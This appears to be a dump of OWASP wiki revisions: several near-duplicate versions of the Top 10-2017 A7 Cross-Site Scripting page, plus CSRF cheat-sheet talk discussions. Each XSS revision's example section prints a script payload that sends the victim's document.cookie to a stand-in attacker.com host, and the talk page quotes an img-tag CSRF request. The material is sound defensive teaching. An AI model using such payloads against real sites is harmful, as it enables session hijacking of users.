* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:00:21Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]] has details specific to client-side input processing.
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.text/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</nowiki></script>'
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi?</nowiki> foo='+document.cookie</script>''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T18:54:09Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]] has details specific to client-side input processing.
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location= '<nowiki>h</nowiki>ttp://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi?</nowiki> foo='+document.cookie</script>''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T18:40:03Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]] has details specific to client-side input processing.
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter in the query string and sends the link to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location= '<nowiki>h</nowiki>ttp://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-05-30T16:57:21Z

Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-05-30T14:13:43Z

Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-05-30T14:11:38Z

Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

